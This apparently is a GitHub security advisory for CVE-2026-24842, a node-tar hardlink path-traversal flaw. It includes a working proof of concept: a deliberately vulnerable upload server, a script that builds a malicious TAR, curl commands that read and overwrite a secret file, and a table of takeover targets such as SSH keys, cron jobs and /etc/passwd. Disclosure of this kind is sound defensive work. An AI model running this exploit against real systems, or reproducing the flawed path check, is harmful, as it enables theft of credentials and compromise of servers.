CVE-2026-24842
ADVISORY - githubSummary
Summary
node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.
Details
The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:
Security check in [STRIPABSOLUTEPATH]:
const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }
Hardlink creation in [HARDLINK]:
const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);
Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.
Security check resolves the linkpath relative to the entry's parent directory:
a/b/c/d/ + ../../../../etc/passwd=etc/passwd. No../prefix, so it passes.Hardlink creation resolves the linkpath relative to the extraction directory (
this.cwd):/var/app/uploads/ + ../../../../etc/passwd=/etc/passwd. This escapes to the system's/etc/passwd.
The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.
PoC
Setup
Create a new directory with these files:
poc/
├── package.json
├── secret.txt ← sensitive file (target)
├── server.js ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/ ← created automatically by server.js
└── (extracted files go here)
package.json
{ "dependencies": { "tar": "^7.5.0" } }
secret.txt (sensitive file outside uploads/)
DATABASE_PASSWORD=supersecret123
server.js (vulnerable file upload server)
const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');
const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });
http.createServer((req, res) => {
if (req.method === 'POST' && req.url === '/upload') {
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', async () => {
fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
res.end('Extracted\n');
});
} else if (req.method === 'GET' && req.url === '/read') {
// Simulates app serving extracted files (e.g., file download, static assets)
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
res.end(fs.readFileSync(targetPath));
} else {
res.end('File not found\n');
}
} else if (req.method === 'POST' && req.url === '/write') {
// Simulates app writing to extracted file (e.g., config update, log append)
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', () => {
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
fs.writeFileSync(targetPath, Buffer.concat(chunks));
res.end('Written\n');
} else {
res.end('File not found\n');
}
});
} else {
res.end('POST /upload, GET /read, or POST /write\n');
}
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));
create-malicious-tar.js (attacker creates exploit TAR)
const fs = require('fs');
function tarHeader(name, type, linkpath = '', size = 0) {
const b = Buffer.alloc(512, 0);
b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
b.write(' ', 148);
b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
if (linkpath) b.write(linkpath, 157);
b.write('ustar\x00', 257); b.write('00', 263);
let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
return b;
}
// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
tarHeader('d/', 'dir'),
tarHeader('d/x', 'link', '../secret.txt'),
Buffer.alloc(1024)
]));
console.log('Created malicious.tar');
Run
# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt
# Terminal 1: Start server
node server.js
# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload
# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123
# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write
# Confirm secret.txt was modified
cat secret.txt
Impact
An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:
Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.
Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.
Remote Code Execution / Server Takeover
| Attack Vector | Target File | Result |
|---|---|---|
| SSH Access | ~/.ssh/authorized_keys |
Direct shell access to server |
| Cron Backdoor | /etc/cron.d/*, ~/.crontab |
Persistent code execution |
| Shell RC Files | ~/.bashrc, ~/.profile |
Code execution on user login |
| Web App Backdoor | Application .js, .php, .py files |
Immediate RCE via web requests |
| Systemd Services | /etc/systemd/system/*.service |
Code execution on service restart |
| User Creation | /etc/passwd (if running as root) |
Add new privileged user |
Data Exfiltration & Corruption
- Overwrite arbitrary files via hardlink escape + subsequent write operations
- Read sensitive files by creating hardlinks that point outside extraction directory
- Corrupt databases and application state
- Steal credentials from config files,
.env, secrets
Common Weakness Enumeration (CWE)
GitHub
CVSS SCORE
8.2high| Package | Type | OS Name | OS Version | Affected Ranges | Fix Versions |
|---|---|---|---|---|---|
| tar | npm | - | - | <7.5.7 | 7.5.7 |
CVSS:3 Severity and metrics
The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.
The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.
An exploited vulnerability can affect resources beyond the security scope managed by the security authority of the vulnerable component. In this case, the vulnerable component and the impacted component are different and managed by different security authorities.
There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact on the impacted component.
There is no impact to availability within the impacted component.
NIST
CVSS SCORE
8.2highDebian
-
Ubuntu
-